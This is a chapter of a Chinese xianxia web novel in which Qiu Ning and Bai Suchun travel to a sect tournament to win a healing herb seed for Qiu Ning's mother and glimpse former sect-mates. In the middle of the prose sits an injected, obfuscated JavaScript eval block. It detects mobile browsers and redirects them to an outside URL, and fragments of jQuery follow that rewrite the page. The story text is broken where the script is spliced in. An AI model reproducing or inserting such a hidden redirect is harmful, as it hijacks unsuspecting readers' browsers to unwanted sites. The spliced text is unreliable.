碧波谷。
白柒柒正在前院专心钻研阵法,有一个地方她死活搞不明白,就在她苦思冥想之际,一个身影挡住了太阳投射下一片阴影。
“你画错了,应该这么画。”白沁捡起一根树枝就蹲在地上,快速地绘出了一个阵法图。
白柒柒凑过去一看,双眼登时放亮,“师祖不愧是师祖!”
“谁是你师祖?我连徒弟都没收呢,怎么会有徒孙?”白沁皱眉,又细细瞧了瞧她,“你倒是个好苗子,不如你来做我徒弟?”
“啊?”白柒柒傻眼了,她拜师祖为师,那不是和师父是平辈的,万万不行,万万不行。
“阿娘,这可乱了辈了。”秋凝笑着从门外走了进来。
“阿凝,之秋,你们回来啦!”白沁扬起一个大大的笑。
少之秋将采到的草药放下,“嗯,今晚做野草粥汤喝。”
“我不想喝,每天都喝,我都腻了。”白沁满脸不情愿。
白柒柒:“师祖,你怎么比柒柒还要挑食?”
白沁左看看又看看,只能无奈道:“好吧。”
白素纯也走了过来,将白沁和柒柒带进了屋。
白沁一走,秋凝脸上的笑也维持不住了,“阿娘的情况越来越差了,我们每天熬的药根本不起作用。”
少之秋:“在我进去之前,阿沁一直被困在黑暗中,不仅如此,她日日都在承受着父兄的埋怨与责怪,她的心里早就已经崩溃。”
说到这里,少之秋心中便迸发出强烈的恨意,“若我心志再坚定一些,就不会被星戒影响,也就不会做出那种事...”
“爹,世事难料,你也不知道星戒会有这样的效果,现在我们能做的就是想尽一切办法将阿娘治好。”
离开太华山后,秋凝第一时间就想到了这里,安置白蛇的碧波谷,这里几乎与世隔绝,无人打扰。
没人知道他们在这里住了一年,她本以为阿娘只是神智有些不清,待在这里总有一天可以治好的,可是事情并没有那么简单,阿爹告诉她,在他没进去陪阿娘的那段时间中,白沁已经是奄奄一息的状态。
她在自虐,她想自戕以获得解脱,她不想听到那些怨怼的话,不想承受难以承受的指责,她曾多次尝试自毁灵台。
在她即将成功的时候,阿爹闯了进去,护住了阿娘,为她驱散了黑暗,这才能一直坚持到她和师姐来救他们。
想当初她灵脉堵塞,阿娘不顾一切为她医治...等等,开灵草!
“开灵草!”秋凝激动地看向少之秋,“阿爹,开灵草能助我打通灵脉,能救人于性命垂危之间,那它一定可以救阿娘!”
少之秋却没有如她那般激动,“这个方法我也想过,我成功培育过两株开灵草,一株救了华徵,另一株让你能正常生长,可也只有这两株了。”
“没有留下种子吗?”
“开灵草只有在生命即将消亡的时候才会留下一枚种子,而我根本等不到那个时候...”
“阿爹,你上次在哪里找到的,我再去找一找。”
“那个地方已经不在了。”
秋凝沮丧。
正所谓世事难料,事情总有转机,就在几日后,白蛇从其他精怪那里打听到了开灵草的消息。
“天华大典第十名的奖品是开灵草的种子?这个消息保真吗?”秋凝激荡起来。
白蛇道:“十日后就是天华大典,所有三百岁以下的修者都可以前往岳一宗参加,这是岳一宗放出来的消息,应该不会有假。”
秋凝当即下定决心,“我要去参加。”
“秋凝姐姐,你有把握进到第十名吗?”
“总要去试试。”其实她还是挺有信心的,这一年来她不曾懈怠过。
白素纯:“我也去,增加胜算。”
“好!那阿爹柒柒还有小蛇就留在这里陪着阿娘,我和师姐前去。”
少之秋沉吟片刻,“凝儿,白姑娘,你们要以什么身份去参加呢?即使隐藏身份,但熟悉的人还是可以通过你们的招式认出来。”
“既然与云间宗割席,那就以个人身份。”秋凝看向白素纯,“对吧?师姐。”
“没错。”白素纯道:“没什么好隐瞒的,从云间宗消名弟子的身份,也不是拿不出手。”
“阿爹不必担心,我们不会让其他人发现这里的。”
少之秋抿唇颔首,“好,万事小心。”
*
天下修仙门派众多,其中当以太华山云间宗,太衍山岳一宗为仙门门派之首,而通过试炼获取名次的青年版天华榜几乎六成的人来自这两个宗门。
虽然其他门派得不到名次,但也能全程参与交流,有天赋不错的弟子也能从中获得进益,而且有时候还能得到两大门派相赠的一些丹药法器,怎么算都不亏,所以即使得不到名次,也还是有很多人会来凑个热闹。
白素纯参加过好几次试炼,秋凝跟着她没走一点弯路,二人顺利到达太衍山脚下。
在山门口就有岳一宗弟子负责登记参加者姓名来历。
那名弟子见到白素纯后,直接就要写上云间宗三个字,但却被她拦住,“散修,白素纯。”
“散修,秋凝。”
那人疑惑极了,但还是依言写了下去,登记完名册之后,就可以进去了。每届天华大典来参加着数量皆众多,光登记就要登记好几天。不过太衍山也经验丰富,仅仅用了三日就接待完了所有前来参加的修者。
秋凝二人来得算早的,她们不想节外生枝所以这两日一直待在房间中等候大典开始。
但今日,她见到了熟人,是太华山的师兄师姐们。
她其实很想上前打招呼,但现在并不是见面叙旧的时候,她无法解释也不能告诉他们这一年来发生的事。
白素纯见她神色动容,“不上去打个招呼吗?”
秋凝摇了摇头,“改日吧,待大典结束后。”
“秋凝,太华山的一切已经和我们没关系了。”
“我知道,就算不再是同门了,但好歹也算是朋友,说起来我来太华山真得结识了很多好朋友。”
“朋友?”
“师姐不这样想吗?”
“不,我没有朋友。”白素纯刚说完,原本面前还正常的秋凝立马瞪着眼看向她,“什么?”
白素纯接着道:“你和柒柒都是我的家人。”
秋凝这才满意,但还是忍不住道:“师姐也可以试着多交几个朋友。”
“太麻烦。”
秋凝小声吐槽,“又不是让你找道侣...”
白素纯皱着眉看向她,秋凝立马道:“知道了,知道了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473469|197172||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“奇怪?”
“奇怪什么?”
白素纯:“江不石和华徵怎么没来,他们不可能不参加的。”
秋凝一愣,她没有特地去关注过他的消息,所以她并不知道他醒了没有,这么长时间,应该已经醒了罢。
话音刚落,窗外传来云倾的声音,“大师兄,江师兄,我们在这里!”
几乎是下意识的,原本站在窗前的秋凝立马移开身子,但很快又意识到窗户已经关上了,璇玑无奈一笑。
几息之后,她又悄悄推开一条缝隙往外张看。
她一眼就从人群中见到了他,看起来身形消瘦,但依旧挺拔。
只是原本的乌发夹杂着几缕白发,看起来不甚协调。
而一旁的江不石倒是没变,依旧是老样子。
秋凝收回了视线,内心突然有些不安,白素纯看穿了她的心绪。
“秋凝...”
“师姐,你说我是不是很矛盾,我不想让他死,但我又不想和他见面,这一年来我没有想起过他,但今日我见到他之后,却发现关于他的一切都很清晰,原来我从不曾忘记。”
“人本来就是复杂的,人的感情更是,或许是他带给你的情绪太过深刻。”白素纯关死窗户,“所以我嫌麻烦,从一开始就不会给人好脸色。”
秋凝忽地笑开,“我猜师姐的烦恼就是,只要你对旁人展露出一点好脸色,那些人就心神荡漾非要和你做朋友。”
白素纯沉默,仔细想想好像确实是这样。
另一边。
江不石看着被围得水泄不通的门口,无奈扶额,“每次都这样,大师兄不就长这样吗,有什么好看的?”
“大师兄毕竟是蝉联好多年的榜首,谁不想一仰风采。”陈思笑着指了指,“你看那面,是上一届的前几名,他们门前也不少人。”
江不石唉声叹气,“什么时候我也能混进前十。”
云倾从他后方绕过来,“努力,待他们都超过三百岁了,你就是第一名。”
江不石啧了一声,“去。”
“不开玩笑了,你们有没有觉得大师兄自从醒来后,整个人就像变了一样,以前虽然话少,但没有这么难以接近,这一路走来我都不敢和他多说一句话。”
陈思也赞同,“以前大师兄也经常指点我的,我们偶尔也能开开玩笑说说话,但现在完全不一样了,给人一种死寂的感觉。”
江不石虽不知具体发生了什么,但他知道大师兄的变化和秋凝有关。
“瞎说什么,大师兄刚醒来,还没恢复好,本来我就讲不要他来了。”
“明日大典就正式开始了,你们还是想想这次我们云间宗能上榜几人吧,要是没有岳一宗的人多,就等着挨罚罢。”
“掌门才不会罚我们。”云倾道:“不过,这次白师姐和秋凝没来,若她们俩来,咱们肯定又能多上榜两个。”
江不石听到秋凝二字,下意识看向一旁打坐的华徵,见他没什么反应,瞬时松了口气,他刚醒那日,不知道去了哪里,回来就问他秋凝的下落,还一直要下山去找人,不仅如此口中还一直说着一些疯狂的话,吓得江不石都不敢听。
若不是他气血上涌昏了过去,他就要强行将他打晕过去。
待他再次醒来,就是如今这个死气沉沉的样子了。